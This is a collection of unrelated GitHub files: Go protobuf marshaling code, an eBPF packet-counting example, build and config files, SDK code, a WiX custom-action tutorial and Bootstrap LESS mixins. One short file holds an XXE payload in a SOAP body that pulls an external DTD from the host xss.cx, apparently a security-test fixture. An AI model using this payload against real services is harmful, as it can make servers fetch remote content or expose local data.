v := reflect.ValueOf(pb)
for i := 0; i < v.Len(); i++ {
if err := tm.writeExtension(w, desc.Name, v.Index(i).Interface()); err != nil {
return err
}
}
}
}
return nil
}
func (tm *TextMarshaler) writeExtension(w *textWriter, name string, pb interface{}) error {
if _, err := fmt.Fprintf(w, "[%s]:", name); err != nil {
return err
}
if !w.compact {
if err := w.WriteByte(' '); err != nil {
return err
}
}
if err := tm.writeAny(w, reflect.ValueOf(pb), nil); err != nil {
return err
}
if err := w.WriteByte('\n'); err != nil {
return err
}
return nil
}
func (w *textWriter) writeIndent() {
if !w.complete {
return
}
remain := w.ind * 2
for remain > 0 {
n := remain
if n > len(spaces) {
n = len(spaces)
}
w.w.Write(spaces[:n])
remain -= n
}
w.complete = false
}
// TextMarshaler is a configurable text format marshaler.
type TextMarshaler struct {
Compact bool // use compact text format (one line).
ExpandAny bool // expand google.protobuf.Any messages of known types
}
// Marshal writes a given protocol buffer in text format.
// The only errors returned are from w.
func (tm *TextMarshaler) Marshal(w io.Writer, pb Message) error {
val := reflect.ValueOf(pb)
if pb == nil || val.IsNil() {
w.Write([]byte("<nil>"))
return nil
}
var bw *bufio.Writer
ww, ok := w.(writer)
if !ok {
bw = bufio.NewWriter(w)
ww = bw
}
aw := &textWriter{
w: ww,
complete: true,
compact: tm.Compact,
}
if etm, ok := pb.(encoding.TextMarshaler); ok {
text, err := etm.MarshalText()
if err != nil {
return err
}
if _, err = aw.Write(text); err != nil {
return err
}
if bw != nil {
return bw.Flush()
}
return nil
}
// Dereference the received pointer so we don't have outer < and >.
v := reflect.Indirect(val)
if err := tm.writeStruct(aw, v); err != nil {
return err
}
if bw != nil {
return bw.Flush()
}
return nil
}
// Text is the same as Marshal, but returns the string directly.
func (tm *TextMarshaler) Text(pb Message) string {
var buf bytes.Buffer
tm.Marshal(&buf, pb)
return buf.String()
}
var (
defaultTextMarshaler = TextMarshaler{}
compactTextMarshaler = TextMarshaler{Compact: true}
)
// TODO: consider removing some of the Marshal functions below.
// MarshalText writes a given protocol buffer in text format.
// The only errors returned are from w.
func MarshalText(w io.Writer, pb Message) error { return defaultTextMarshaler.Marshal(w, pb) }
// MarshalTextString is the same as MarshalText, but returns the string directly.
func MarshalTextString(pb Message) string { return defaultTextMarshaler.Text(pb) }
// CompactText writes a given protocol buffer in compact text format (one line).
func CompactText(w io.Writer, pb Message) error { return compactTextMarshaler.Marshal(w, pb) }
// CompactTextString is the same as CompactText, but returns the string directly.
func CompactTextString(pb Message) string { return compactTextMarshaler.Text(pb) }
| {
"pile_set_name": "Github"
} |
/* eBPF example program:
* - creates arraymap in kernel with key 4 bytes and value 8 bytes
*
* - loads eBPF program:
* r0 = skb->data[ETH_HLEN + offsetof(struct iphdr, protocol)];
* *(u32*)(fp - 4) = r0;
* // assuming packet is IPv4, lookup ip->proto in a map
* value = bpf_map_lookup_elem(map_fd, fp - 4);
* if (value)
* (*(u64*)value) += 1;
*
* - attaches this program to loopback interface "lo" raw socket
*
* - every second user space reads map[tcp], map[udp], map[icmp] to see
* how many packets of given protocol were seen on "lo"
*/
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
#include <linux/bpf.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <stddef.h>
#include <bpf/bpf.h>
#include "bpf_insn.h"
#include "sock_example.h"
char bpf_log_buf[BPF_LOG_BUF_SIZE];
static int test_sock(void)
{
int sock = -1, map_fd, prog_fd, i, key;
long long value = 0, tcp_cnt, udp_cnt, icmp_cnt;
map_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(key), sizeof(value),
256, 0);
if (map_fd < 0) {
printf("failed to create map '%s'\n", strerror(errno));
goto cleanup;
}
struct bpf_insn prog[] = {
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
BPF_LD_ABS(BPF_B, ETH_HLEN + offsetof(struct iphdr, protocol) /* R0 = ip->proto */),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), /* *(u32 *)(fp - 4) = r0 */
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
BPF_LD_MAP_FD(BPF_REG_1, map_fd),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_1, 1), /* r1 = 1 */
BPF_RAW_INSN(BPF_STX | BPF_XADD | BPF_DW, BPF_REG_0, BPF_REG_1, 0, 0), /* xadd r0 += r1 */
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 */
BPF_EXIT_INSN(),
};
size_t insns_cnt = sizeof(prog) / sizeof(struct bpf_insn);
prog_fd = bpf_load_program(BPF_PROG_TYPE_SOCKET_FILTER, prog, insns_cnt,
"GPL", 0, bpf_log_buf, BPF_LOG_BUF_SIZE);
if (prog_fd < 0) {
printf("failed to load prog '%s'\n", strerror(errno));
goto cleanup;
}
sock = open_raw_sock("lo");
if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd,
sizeof(prog_fd)) < 0) {
printf("setsockopt %s\n", strerror(errno));
goto cleanup;
}
for (i = 0; i < 10; i++) {
key = IPPROTO_TCP;
assert(bpf_map_lookup_elem(map_fd, &key, &tcp_cnt) == 0);
key = IPPROTO_UDP;
assert(bpf_map_lookup_elem(map_fd, &key, &udp_cnt) == 0);
key = IPPROTO_ICMP;
assert(bpf_map_lookup_elem(map_fd, &key, &icmp_cnt) == 0);
printf("TCP %lld UDP %lld ICMP %lld packets\n",
tcp_cnt, udp_cnt, icmp_cnt);
sleep(1);
}
cleanup:
/* maps, programs, raw sockets will auto cleanup on process exit */
return 0;
}
int main(void)
{
FILE *f;
f = popen("ping -c5 localhost", "r");
(void)f;
return test_sock();
}
| {
"pile_set_name": "Github"
} |
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://xss.cx"> %dtd;]><xxx/>]]></foo></soap:Body>
| {
"pile_set_name": "Github"
} |
package(default_visibility = ["//visibility:public"])
licenses(["notice"])
load(
"@io_bazel_rules_go//go:def.bzl",
"go_library",
)
go_library(
name = "go_default_library",
srcs = ["fake.go"],
tags = ["automanaged"],
deps = [
"//vendor/k8s.io/apimachinery/pkg/apimachinery/registered:go_default_library",
"//vendor/k8s.io/apimachinery/pkg/runtime:go_default_library",
"//vendor/k8s.io/apimachinery/pkg/runtime/schema:go_default_library",
"//vendor/k8s.io/apimachinery/pkg/types:go_default_library",
"//vendor/k8s.io/client-go/rest:go_default_library",
"//vendor/k8s.io/client-go/util/flowcontrol:go_default_library",
],
)
| {
"pile_set_name": "Github"
} |
uuid: 80468c17-d37d-4c4a-9df3-50bf279b515f
langcode: en
status: true
dependencies:
config:
- field.storage.node.field_tax_campaign
- node.type.author
- taxonomy.vocabulary.campaign
id: node.author.field_tax_campaign
field_name: field_tax_campaign
entity_type: node
bundle: author
label: Campaign
description: ''
required: false
translatable: true
default_value: { }
default_value_callback: ''
settings:
handler: 'default:taxonomy_term'
handler_settings:
target_bundles:
campaign: campaign
sort:
field: name
direction: asc
auto_create: false
auto_create_bundle: ''
field_type: entity_reference
| {
"pile_set_name": "Github"
} |
#!/bin/bash
# GPU 0
# minibatch=512 iterations=50 device_id=0 seqlen=64 hiddensize={256,256} ./rnn_torch.sh
# GPU 1
# minibatch=256 iterations=100 device_id=1 seqlen=32 hiddensize={256,256} ./rnn_torch.sh
# CPU
export OMP_NUM_THREADS=4
minibatch=256 iterations=100 device_id=-1 seqlen=32 hiddensize={256,256} ./rnn_torch.sh
| {
"pile_set_name": "Github"
} |
Beschrijving:
Swagger API-definities genereren voor LoopBack-toepassingen.
Bijvoorbeeld:
{{slc loopback:export-api-def [--json]}}
Hiermee worden de API-definities naar stdout gestuurd.
Gebruik de optie {{--json}} voor weergave in JSON-indeling. Anders wordt standaard YAML gebruikt.
{{slc loopback:export-api-def [--o uitvoerbestand]}}
Hiermee worden de API-definities naar de opgegeven uitvoerlocatie gestuurd. Afhankelijk van de bestandsextensie wordt de indeling {{yaml}} of {{json}} gebruikt.
| {
"pile_set_name": "Github"
} |
// Protocol Buffers - Google's data interchange format
// Copyright 2008 Google Inc. All rights reserved.
// https://developers.google.com/protocol-buffers/
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#include <google/protobuf/stubs/status.h>
#include <ostream>
#include <stdio.h>
#include <string>
#include <utility>
namespace google {
namespace protobuf {
namespace util {
namespace error {
inline string CodeEnumToString(error::Code code) {
switch (code) {
case OK:
return "OK";
case CANCELLED:
return "CANCELLED";
case UNKNOWN:
return "UNKNOWN";
case INVALID_ARGUMENT:
return "INVALID_ARGUMENT";
case DEADLINE_EXCEEDED:
return "DEADLINE_EXCEEDED";
case NOT_FOUND:
return "NOT_FOUND";
case ALREADY_EXISTS:
return "ALREADY_EXISTS";
case PERMISSION_DENIED:
return "PERMISSION_DENIED";
case UNAUTHENTICATED:
return "UNAUTHENTICATED";
case RESOURCE_EXHAUSTED:
return "RESOURCE_EXHAUSTED";
case FAILED_PRECONDITION:
return "FAILED_PRECONDITION";
case ABORTED:
return "ABORTED";
case OUT_OF_RANGE:
return "OUT_OF_RANGE";
case UNIMPLEMENTED:
return "UNIMPLEMENTED";
case INTERNAL:
return "INTERNAL";
case UNAVAILABLE:
return "UNAVAILABLE";
case DATA_LOSS:
return "DATA_LOSS";
}
// No default clause, clang will abort if a code is missing from
// above switch.
return "UNKNOWN";
}
} // namespace error.
const Status Status::OK = Status();
const Status Status::CANCELLED = Status(error::CANCELLED, "");
const Status Status::UNKNOWN = Status(error::UNKNOWN, "");
Status::Status() : error_code_(error::OK) {
}
Status::Status(error::Code error_code, StringPiece error_message)
: error_code_(error_code) {
if (error_code != error::OK) {
error_message_ = error_message.ToString();
}
}
Status::Status(const Status& other)
: error_code_(other.error_code_), error_message_(other.error_message_) {
}
Status& Status::operator=(const Status& other) {
error_code_ = other.error_code_;
error_message_ = other.error_message_;
return *this;
}
bool Status::operator==(const Status& x) const {
return error_code_ == x.error_code_ &&
error_message_ == x.error_message_;
}
string Status::ToString() const {
if (error_code_ == error::OK) {
return "OK";
} else {
if (error_message_.empty()) {
return error::CodeEnumToString(error_code_);
} else {
return error::CodeEnumToString(error_code_) + ":" +
error_message_;
}
}
}
ostream& operator<<(ostream& os, const Status& x) {
os << x.ToString();
return os;
}
} // namespace util
} // namespace protobuf
} // namespace google
| {
"pile_set_name": "Github"
} |
---
title: Adding Custom Actions
layout: documentation
after: extension_development_preprocessor
---
# Adding a Custom Action
This example shows how to author a binary custom action called "FooAction". A common example is a dll custom action that launches notepad.exe or some other application as part of their install. Before you start, you will need a sample dll that has an entrypoint called "FooEntryPoint". This sample assumes you have already reviewed the [Creating a Skeleton Extension](extension_development_simple_example.html) topic.
## Step 1: Create a Fragment
You could directly reference the custom action in the same source file as the product definition. However, that will not enable the same custom action to be used elsewhere. So rather than putting the custom action definition in the same source file, let's exercise a little modularity and create a new source file to define the custom action called "ca.wxs".
<pre>
<?xml version='1.0'?>
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
<b><span class="style1"> <Fragment></span>
<span class="style1"> <CustomAction Id='FooAction' BinaryKey='FooBinary' DllEntry='FooEntryPoint' Execute='immediate'</span>
<span class="style1"> Return='check'/></span>
<span class="style1"> <Binary Id='FooBinary' SourceFile='foo.dll'/></span>
<span class="style1"> </Fragment></span></b>
</Wix>
</pre>
Okay, that's it. We're done with editing the "ca.wxs" source file. That little bit of code should compile but it will not link. Remember linking requires that you have an entry section. A <Fragment/> alone is not an entry section. Go to the next step to link the source file.
## Step 2: Add the custom action
We would need to link this source file along with a source file that contained <Product/> or <Module/> to successfully complete.
<pre>
<?xml version='1.0'?>
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
<Product Id='PUT-GUID-HERE' Name='Test Package' Language='1033'
Version='1.0.0.0' Manufacturer='Outercurve Foundation'>
<Package Description='My first Windows Installer package'
Comments='This is my first attempt at creating a Windows Installer database'
Manufacturer='Outercurve Foundation' InstallerVersion='200' Compressed='yes' />
<Media Id='1' Cabinet='product.cab' EmbedCab='yes' />
<Directory Id='TARGETDIR' Name='SourceDir'>
<Directory Id='ProgramFilesFolder' Name='PFiles'>
<Directory Id='MyDir' Name='Test Program'>
<Component Id='MyComponent' Guid='PUT-GUID-HERE'>
<File Id='readme' Name='readme.txt' DiskId='1' Source='readme.txt' />
</Component>
<Merge Id='MyModule' Language='1033' SourceFile='module.msm' DiskId='1' />
</Directory>
</Directory>
</Directory>
<Feature Id='MyFeature' Title='My 1st Feature' Level='1'>
<ComponentRef Id='MyComponent' />
<MergeRef Id='MyModule' />
</Feature>
<b>
<span class="style1"> <InstallExecuteSequence></span>
<span class="style1"> <Custom Action='FooAction' After='InstallFiles'/></span>
<span class="style1"> </InstallExecuteSequence></span></b>
</Product>
</Wix>
</pre>
Those three lines are all you need to add to your Windows Installer package source file to call the "FooAction" CustomAction. Now that we have two files to link together our call to light.exe gets a little more complicated. Here are the compile, link, and installation steps.
<pre>
C:\test> <span class="style2">candle product.wxs ca.wxs</span>
C:\test> <span class="style2">light product.wixobj ca.wixobj –out product.msi</span>
C:\test> <span class="style2">msiexec /i product.msi</span>
</pre>
Now as part of your installation, whatever "FooAction" is supposed to perform, you should see happen after the InstallFiles action.
| {
"pile_set_name": "Github"
} |
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_libmailcore_Range */
#ifndef _Included_com_libmailcore_Range
#define _Included_com_libmailcore_Range
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: com_libmailcore_Range
* Method: removeRange
* Signature: (Lcom/libmailcore/Range;)Lcom/libmailcore/IndexSet;
*/
JNIEXPORT jobject JNICALL Java_com_libmailcore_Range_removeRange
(JNIEnv *, jobject, jobject);
/*
* Class: com_libmailcore_Range
* Method: union
* Signature: (Lcom/libmailcore/Range;)Lcom/libmailcore/IndexSet;
*/
JNIEXPORT jobject JNICALL Java_com_libmailcore_Range_union
(JNIEnv *, jobject, jobject);
/*
* Class: com_libmailcore_Range
* Method: intersection
* Signature: (Lcom/libmailcore/Range;)Lcom/libmailcore/Range;
*/
JNIEXPORT jobject JNICALL Java_com_libmailcore_Range_intersection
(JNIEnv *, jobject, jobject);
/*
* Class: com_libmailcore_Range
* Method: hasIntersection
* Signature: (Lcom/libmailcore/Range;)Z
*/
JNIEXPORT jboolean JNICALL Java_com_libmailcore_Range_hasIntersection
(JNIEnv *, jobject, jobject);
/*
* Class: com_libmailcore_Range
* Method: leftBound
* Signature: ()J
*/
JNIEXPORT jlong JNICALL Java_com_libmailcore_Range_leftBound
(JNIEnv *, jobject);
/*
* Class: com_libmailcore_Range
* Method: rightBound
* Signature: ()J
*/
JNIEXPORT jlong JNICALL Java_com_libmailcore_Range_rightBound
(JNIEnv *, jobject);
/*
* Class: com_libmailcore_Range
* Method: toString
* Signature: ()Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_com_libmailcore_Range_toString
(JNIEnv *, jobject);
/*
* Class: com_libmailcore_Range
* Method: rangeWithString
* Signature: (Ljava/lang/String;)Lcom/libmailcore/Range;
*/
JNIEXPORT jobject JNICALL Java_com_libmailcore_Range_rangeWithString
(JNIEnv *, jclass, jstring);
#ifdef __cplusplus
}
#endif
#endif
| {
"pile_set_name": "Github"
} |
/* Define enum __socket_type for generic Linux.
Copyright (C) 1991-2018 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#ifndef _SYS_SOCKET_H
# error "Never include <bits/socket_type.h> directly; use <sys/socket.h> instead."
#endif
/* Types of sockets. */
enum __socket_type
{
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
byte streams. */
#define SOCK_STREAM SOCK_STREAM
SOCK_DGRAM = 2, /* Connectionless, unreliable datagrams
of fixed maximum length. */
#define SOCK_DGRAM SOCK_DGRAM
SOCK_RAW = 3, /* Raw protocol interface. */
#define SOCK_RAW SOCK_RAW
SOCK_RDM = 4, /* Reliably-delivered messages. */
#define SOCK_RDM SOCK_RDM
SOCK_SEQPACKET = 5, /* Sequenced, reliable, connection-based,
datagrams of fixed maximum length. */
#define SOCK_SEQPACKET SOCK_SEQPACKET
SOCK_DCCP = 6, /* Datagram Congestion Control Protocol. */
#define SOCK_DCCP SOCK_DCCP
SOCK_PACKET = 10, /* Linux specific way of getting packets
at the dev level. For writing rarp and
other similar things on the user level. */
#define SOCK_PACKET SOCK_PACKET
/* Flags to be ORed into the type parameter of socket and socketpair and
used for the flags parameter of paccept. */
SOCK_CLOEXEC = 02000000, /* Atomically set close-on-exec flag for the
new descriptor(s). */
#define SOCK_CLOEXEC SOCK_CLOEXEC
SOCK_NONBLOCK = 00004000 /* Atomically mark descriptor(s) as
non-blocking. */
#define SOCK_NONBLOCK SOCK_NONBLOCK
};
| {
"pile_set_name": "Github"
} |
// Copyright 2016 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build solaris
package lif
import (
"errors"
"unsafe"
)
// An Addr represents an address associated with packet routing.
type Addr interface {
// Family returns an address family.
Family() int
}
// An Inet4Addr represents an internet address for IPv4.
type Inet4Addr struct {
IP [4]byte // IP address
PrefixLen int // address prefix length
}
// Family implements the Family method of Addr interface.
func (a *Inet4Addr) Family() int { return sysAF_INET }
// An Inet6Addr represents an internet address for IPv6.
type Inet6Addr struct {
IP [16]byte // IP address
PrefixLen int // address prefix length
ZoneID int // zone identifier
}
// Family implements the Family method of Addr interface.
func (a *Inet6Addr) Family() int { return sysAF_INET6 }
// Addrs returns a list of interface addresses.
//
// The provided af must be an address family and name must be a data
// link name. The zero value of af or name means a wildcard.
func Addrs(af int, name string) ([]Addr, error) {
eps, err := newEndpoints(af)
if len(eps) == 0 {
return nil, err
}
defer func() {
for _, ep := range eps {
ep.close()
}
}()
lls, err := links(eps, name)
if len(lls) == 0 {
return nil, err
}
var as []Addr
for _, ll := range lls {
var lifr lifreq
for i := 0; i < len(ll.Name); i++ {
lifr.Name[i] = int8(ll.Name[i])
}
for _, ep := range eps {
ioc := int64(sysSIOCGLIFADDR)
err := ioctl(ep.s, uintptr(ioc), unsafe.Pointer(&lifr))
if err != nil {
continue
}
sa := (*sockaddrStorage)(unsafe.Pointer(&lifr.Lifru[0]))
l := int(nativeEndian.Uint32(lifr.Lifru1[:4]))
if l == 0 {
continue
}
switch sa.Family {
case sysAF_INET:
a := &Inet4Addr{PrefixLen: l}
copy(a.IP[:], lifr.Lifru[4:8])
as = append(as, a)
case sysAF_INET6:
a := &Inet6Addr{PrefixLen: l, ZoneID: int(nativeEndian.Uint32(lifr.Lifru[24:28]))}
copy(a.IP[:], lifr.Lifru[8:24])
as = append(as, a)
}
}
}
return as, nil
}
func parseLinkAddr(b []byte) ([]byte, error) {
nlen, alen, slen := int(b[1]), int(b[2]), int(b[3])
l := 4 + nlen + alen + slen
if len(b) < l {
return nil, errors.New("invalid address")
}
b = b[4:]
var addr []byte
if nlen > 0 {
b = b[nlen:]
}
if alen > 0 {
addr = make([]byte, alen)
copy(addr, b[:alen])
}
return addr, nil
}
| {
"pile_set_name": "Github"
} |
// <auto-generated>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See License.txt in the project root for
// license information.
//
// Code generated by Microsoft (R) AutoRest Code Generator.
// Changes may cause incorrect behavior and will be lost if the code is
// regenerated.
// </auto-generated>
namespace Microsoft.Azure.Management.DataFactory.Models
{
/// <summary>
/// Defines values for IntegrationRuntimeSsisCatalogPricingTier.
/// </summary>
public static class IntegrationRuntimeSsisCatalogPricingTier
{
public const string Basic = "Basic";
public const string Standard = "Standard";
public const string Premium = "Premium";
public const string PremiumRS = "PremiumRS";
}
}
| {
"pile_set_name": "Github"
} |
---
description: "Automatically generated file. DO NOT MODIFY"
---
```csharp
GraphServiceClient graphClient = new GraphServiceClient( authProvider );
var contact = new Contact
{
EmailAddresses = new List<TypedEmailAddress>()
{
new TypedEmailAddress
{
Type = EmailType.Personal,
Name = "Pavel Bansky",
Address = "[email protected]"
},
new TypedEmailAddress
{
Address = "[email protected]",
Name = "Pavel Bansky",
Type = EmailType.Other,
OtherLabel = "Volunteer work"
}
}
};
await graphClient.Me.Contacts["AAMkADh6v5AAAvgTCEAAA="]
.Request()
.UpdateAsync(contact);
``` | {
"pile_set_name": "Github"
} |
// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
InspectorTest.log('Tests that all sessions get exception notifications.');
function connect(contextGroup, num) {
var session = contextGroup.connect();
var exceptionId;
session.Protocol.Runtime.onExceptionThrown(message => {
InspectorTest.log('From session ' + num);
InspectorTest.logMessage(message);
exceptionId = message.params.exceptionDetails.exceptionId;
});
session.Protocol.Runtime.onExceptionRevoked(message => {
InspectorTest.log('From session ' + num);
InspectorTest.logMessage(message);
InspectorTest.log('id matching: ' + (message.params.exceptionId === exceptionId));
});
return session;
}
(async function test() {
var contextGroup = new InspectorTest.ContextGroup();
var session1 = connect(contextGroup, 1);
var session2 = connect(contextGroup, 2);
await session1.Protocol.Runtime.enable();
await session2.Protocol.Runtime.enable();
InspectorTest.log('Throwing in 2');
await session2.Protocol.Runtime.evaluate({expression: 'throw "error1";'});
InspectorTest.log('Throwing in 1');
await session1.Protocol.Runtime.evaluate({expression: 'throw "error2";'});
InspectorTest.log('Throwing in setTimeout 1');
await session1.Protocol.Runtime.evaluate({expression: 'setTimeout(() => { throw "error3"; }, 0)'});
await InspectorTest.waitForPendingTasks();
InspectorTest.log('Throwing in setTimeout 2');
await session2.Protocol.Runtime.evaluate({expression: 'setTimeout(() => { throw "error4"; }, 0)'});
await InspectorTest.waitForPendingTasks();
InspectorTest.log('Rejecting in 2');
await session2.Protocol.Runtime.evaluate({expression: 'var p2; setTimeout(() => { p2 = Promise.reject("error5") }, 0)'});
await InspectorTest.waitForPendingTasks();
InspectorTest.log('Revoking in 2');
await session2.Protocol.Runtime.evaluate({expression: 'setTimeout(() => { p2.catch(()=>{}) }, 0);'});
await InspectorTest.waitForPendingTasks();
InspectorTest.log('Rejecting in 1');
await session1.Protocol.Runtime.evaluate({expression: 'var p1; setTimeout(() => { p1 = Promise.reject("error6")} , 0)'});
await InspectorTest.waitForPendingTasks();
InspectorTest.log('Revoking in 1');
await session1.Protocol.Runtime.evaluate({expression: 'setTimeout(() => { p1.catch(()=>{}) }, 0);'});
await InspectorTest.waitForPendingTasks();
InspectorTest.completeTest();
})();
| {
"pile_set_name": "Github"
} |
/*
Copyright The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by informer-gen. DO NOT EDIT.
package scheduling
import (
internalinterfaces "k8s.io/client-go/informers/internalinterfaces"
v1 "k8s.io/client-go/informers/scheduling/v1"
v1alpha1 "k8s.io/client-go/informers/scheduling/v1alpha1"
v1beta1 "k8s.io/client-go/informers/scheduling/v1beta1"
)
// Interface provides access to each of this group's versions.
type Interface interface {
// V1 provides access to shared informers for resources in V1.
V1() v1.Interface
// V1alpha1 provides access to shared informers for resources in V1alpha1.
V1alpha1() v1alpha1.Interface
// V1beta1 provides access to shared informers for resources in V1beta1.
V1beta1() v1beta1.Interface
}
type group struct {
factory internalinterfaces.SharedInformerFactory
namespace string
tweakListOptions internalinterfaces.TweakListOptionsFunc
}
// New returns a new Interface.
func New(f internalinterfaces.SharedInformerFactory, namespace string, tweakListOptions internalinterfaces.TweakListOptionsFunc) Interface {
return &group{factory: f, namespace: namespace, tweakListOptions: tweakListOptions}
}
// V1 returns a new v1.Interface.
func (g *group) V1() v1.Interface {
return v1.New(g.factory, g.namespace, g.tweakListOptions)
}
// V1alpha1 returns a new v1alpha1.Interface.
func (g *group) V1alpha1() v1alpha1.Interface {
return v1alpha1.New(g.factory, g.namespace, g.tweakListOptions)
}
// V1beta1 returns a new v1beta1.Interface.
func (g *group) V1beta1() v1beta1.Interface {
return v1beta1.New(g.factory, g.namespace, g.tweakListOptions)
}
| {
"pile_set_name": "Github"
} |
<!-- markdownlint-disable -->
## talosctl version
Prints the version
### Synopsis
Prints the version
```
talosctl version [flags]
```
### Options
```
--client Print client version only
-h, --help help for version
--short Print the short version
```
### Options inherited from parent commands
```
--context string Context to be used in command
-e, --endpoints strings override default endpoints in Talos configuration
-n, --nodes strings target the specified nodes
--talosconfig string The path to the Talos configuration file (default "/home/user/.talos/config")
```
### SEE ALSO
* [talosctl](talosctl.md) - A CLI for out-of-band management of Kubernetes nodes created by Talos
| {
"pile_set_name": "Github"
} |
// Gradients
#gradient {
// Horizontal gradient, from left to right
//
// Creates two color stops, start and end, by specifying a color and position for each color stop.
// Color stops are not available in IE9 and below.
.horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {
background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+
background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12
background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+
background-repeat: repeat-x;
filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)",argb(@start-color),argb(@end-color))); // IE9 and down
}
// Vertical gradient, from top to bottom
//
// Creates two color stops, start and end, by specifying a color and position for each color stop.
// Color stops are not available in IE9 and below.
.vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {
background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+
background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12
background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+
background-repeat: repeat-x;
filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)",argb(@start-color),argb(@end-color))); // IE9 and down
}
.directional(@start-color: #555; @end-color: #333; @deg: 45deg) {
background-repeat: repeat-x;
background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+
background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12
background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+
}
.horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {
background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);
background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);
background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);
background-repeat: no-repeat;
filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback
}
.vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {
background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);
background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);
